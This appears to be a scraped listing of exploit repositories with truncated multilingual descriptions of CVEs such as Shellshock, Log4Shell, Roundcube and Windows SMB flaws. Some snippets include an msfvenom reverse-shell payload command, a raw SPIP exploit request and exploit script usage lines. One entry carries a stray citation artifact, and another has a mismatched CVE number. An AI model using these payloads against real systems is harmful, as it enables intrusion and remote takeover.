CVE-2024-51793

CVE-2024-51793 익스플로잇 도구 문서 📋 개요 CVE-2024-51793은 Computer Repair Shop WordPress 플러그인버전 3.8116 미만에서 발견된 인증되지 않은 임의 파일 업로드 취약점입니다. 이 취약점으로 인해 공격자는 인증 없이 PHP 웹쉘을 포함한 임의의 파일을 업로드할 수 있으며, 취약한 WordPress 사이트에서 원격 코드 실행이 가능해집니다. 🚨 취약점 세부 정보 CVE ID: CVE-2024-51793 취약점 유형: 인증되지 않은 임의 파일 업로드 영향을 받는 플러그인:...

CVE-2014-6271

🚨 CVE-2014-6271 — “Shellshock” 25년간 묵혀온 제로데이 원격 코드 실행 — 환경 변수를 통한 GNU Bash 취약점 📖 개요 CVE-2014-6271 , 일명 Shellshock 또는 Bashdoor는 GNU Bash 셸의 치명적인 원격 코드 실행RCE 취약점입니다. 공격자는 특수하게 조작된 환경 변수HTTP 헤더, DHCP, SSH 등을 통해를 전송하여 원격 셸 접근 을 얻을 수 있으며, 대개 인증이나 사용자 상호작용 없이도 가능합니다. 🧠 취약점 요약...

CVE-2021-44228

🚨 CVE-2021-44228 — “Log4Shell” Apache Log4j 2 中的一个关键远程代码执行漏洞，广泛被称为 Log4Shell 。 📖 目录 概述 技术细节 严重性与 CVSS 受影响版本 利用与影响 现实世界影响 检测 缓解与修复 总结 🔎 概述 CVE-2021-44228 是 :contentReferenceoaicite:0index=0 版本 2.x （2.15.0 之前）中的一个关键 RCE 漏洞，于 2021 年 12 月被发现。 它允许未认证的远程攻击者通过向被 Log4j...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Luaサンドボックスバイパス コマンド実行 Usage python3 CVE-2022-0543.py...

CVE-2026-11499

🚨 CVE-2026-11499 Tenda HG7 / HG9 / HG10 ルーターにおけるスタックベースのバッファオーバーフロー 📖 概要 CVE-2026-11499 は、いくつかの Tenda ルーターモデル （以下を含む）に影響を与える スタックベースのバッファオーバーフロー脆弱性 として報告されています。 HG7 HG9 HG10 悪用に成功すると、攻撃者はクラッシュ、サービス拒否を引き起こしたり、脆弱なコードパスとデプロイ構成によっては リモートコード実行 RCE を達成する可能性があります。 ⚠️ 技術的な詳細は現在限られており、公開情報の開示は進行中のようです。 🎯...

CVE-2026-20841

CVE-2026-20841 - Windows 메모장 원격 코드 실행 RCE 보안 연구 및 기술 분석 저장소 ⚠️ 이 저장소는 교육, 방어 및 연구 목적으로만 제공됩니다. 📖 개요 CVE-2026-20841 은 Microsoft Windows 메모장의 Markdown 처리 기능에 영향을 미치는 심각한 원격 코드 실행RCE 취약점입니다. 공격자는 취약한 버전의 Windows 메모장에서 특수하게 조작된 파일을 열 경우 임의 코드 실행을 유발할 수 있습니다. 영향 원격 코드 실행 RCE 임의 코드 실행 사용자 수준 손상 가능성 보안 경...

RCE_CVE-2024-7954-

RCECVE-2024-7954- SPIP 4.30-alpha2、4.2.13 和 4.1.16 之前版本使用的 porteplume 插件存在任意代码执行漏洞。远程未认证的攻击者可以通过发送特制的 HTTP 请求，以 SPIP 用户的身份执行任意 PHP 代码。（严重） 利用方式： POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type: application/x-www-form-urlencoded data=AA-URLBB 使用工具： Nuclei -ltarget fil...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 認証なしコマンドインジェクション。 このスクリプトは CVE-2022-46169 の条件のみをチェックします。 Cacti とは？ Cacti は、ユーザーに堅牢で拡張可能な運用監視および障害管理フレームワークを提供するオープンソースプラットフォームです。影響を受けるバージョンでは、監視対象デバイスに対して特定のデータソースが選択されていた場合、認証されていないユーザーが Cacti が動作するサーバー上で任意のコードを実行できるコマンドインジェクションの脆弱性が存在します。...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly中间件API远程代码执行 经身份验证的RCE：Hoverfly ≤ 1.11.3中的OS命令注入 漏洞概述...

CVE-2026-41089

CVE-2026-41089 root@kitploit: ██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ██║ ██║███║██╔═████╗██╔═████╗ ██║ ██║ ██║█████╗ ███████║╚██║██║██╔██║██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔══██║ ██║████╔╝██║████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ╚═════...

CVE-2025-49113

CVE-2025-49113 – Roundcube Webmail RCE エクスプロイト Python PoC CVE ID: CVE-2025-49113 エクスプロイト種別: リモートコード実行（PHPオブジェクトインジェクション経由） 対象アプリケーション: Roundcube Webmail ≤ 1.5.9 および ≤ 1.6.10 エクスプロイト言語: Python 作成者: 00xCanelo ステータス: 脆弱なRoundcubeインストールでテスト済み、動作確認済み 📌 説明 このエクスプロイトは、Roundcube...

CVE-2025-8110

RCE - CVE-2025-59528 Gogs = 0.13.3 익스플로잇 root@kitploit: $ python3 CVE-2025-8110.py -h usage: CVE-2025-8110.py -h -u URL -lh HOST -lp PORT -user USERNAME -pass PASSWORD -x CVE-2025-8110 Gogs Exploit options: -h, --help show this help message and exit -u, --url URL Gogs base URL e.g.,...

CVE-2020-1493

CVE-2020-1493 이 취약점은 Windows 10 1909 x64에 설치된 Outlook 201916.0.12624.20424에서 발생하며, 제로 클릭 취약점입니다. TLDR; 이 버그는 winafl 퍼저를 사용하여 발견했습니다. 이 버그는 eml 파일의 첨부 파일인 ms-tnef 파일을 파싱할 때 발생합니다. 취약한 메서드는 vftable 포인터에 대해 범위를 벗어난 데이터를 읽고 사용합니다. 따라서 공격자가 이 취약점을 성공적으로 악용하면 원격 명령 실행이 트리거됩니다. Details root@kitploit:...

CVE-2025-32433

CVE-2025-32433 Erlang/OTP SSH RCE EXP 설명 Erlang/OTP SSH 서버에서 심각한 취약점이 발견되었습니다. 이 취약점을 통해 공격자는 인증 없이 원격 코드 실행RCE을 수행할 수 있습니다. SSH 프로토콜 메시지 처리의 결함을 악용하여 악의적인 공격자는 유효한 자격 증명 없이 영향을 받는 시스템에 무단으로 접근하고 임의의 명령을 실행할 수 있습니다. 이는 해당 호스트의 손상으로 이어져 제3자가 민감한 데이터에 무단으로 접근하고 조작할 수 있게 하거나, 서비스 거부 공격을 가능하게 할 수 있습니...

CVE-2024-21633

MobSF 원격 코드 실행 via CVE-2024-21633 저는 apktool에서 임의 파일 쓰기 취약점을 발견하여 github security advisory를 통해 보고했습니다. 많은 프로젝트가 apktool에 의존하고 있다는 것을 알고 있었지만, advisory 게시와 수정 이후에도 많은 프로젝트가 이를 인지하거나 신경 쓰지 않는 것 같았습니다. 그래서 큰 의존 프로젝트 일부에서 그 영향과 익스플로잇 가능성을 확인하기로 결정했고, MobSF부터 시작했습니다. 이 취약점을 통해 "$decode target...

CVE-2022-24500

CVE-2022-24500 RCE 익스플로잇 Windows SMB 원격 코드 실행 취약점 취약점: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 1단계 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin 2단계 root@kitploit: msf5 use...

CVE-2022-21974

CVE-2022-21974: RMSRoamingSecurity 원격 코드 실행에서 초기화되지 않은 포인터 해제 근본 원인 RMSRoamingSecurity!ATL::CComCreator ::CreateInstance 생성자는 CRmsRoamingSecurity 객체0x3470바이트를 할당하고 초기화하지만, 상태를 완전히 초기화하는 데 실패합니다. 예를 들어, 오프셋 0x3458에는 소멸자가 호출될 때 해제되는 초기화되지 않은 포인터가 있습니다CRmsRoamingSecurity::Cleanup에서: root@kitploit:...

CVE-2023-30253-Exploit

CVE-2023-30253 익스플로잇 Dolibarr는 대문자 조작을 통한 원격 코드 실행에 취약합니다 영향을 받는 버전 17.0.1 사용법: pip3 install -r requirements.txt python3 CVE-2023-30253.py...

ClamAV-Milter-Sendmail-0.91.2-Remote-Code-Execution

ClamAV-Milter-Sendmail-0.91.2-Remote-Code-Execution CVE-2007-4560에 대한 익스플로잇 ClamAV Milter Sendmail 0.91.2 원격 코드 실행 이 익스플로잇은 교육 목적으로만 제공되며 악의적인 목적으로 사용해서는 안 됩니다...

lfi

경량 결함 격리 LFI Lightweight Fault Isolation LFI 프로젝트의 최상위 저장소에 오신 것을 환영합니다. LFI란 무엇인가요? LFI는 네이티브 코드를 샌드박싱하기 위한 시스템입니다. WebAssembly 및 Native Client와 마찬가지로 LFI는 샌드박싱된 코드를 프로세스 내즉, 호스트 애플리케이션과 동일한 주소 공간에서 격리합니다. 현재 Arm64 및 x86-64 대상을 지원하며, 실험적인 RISC-V 지원이 있습니다. LFI는 처음부터 C/C++ 라이브러리어셈블리 코드 포함 및 장치 드라이...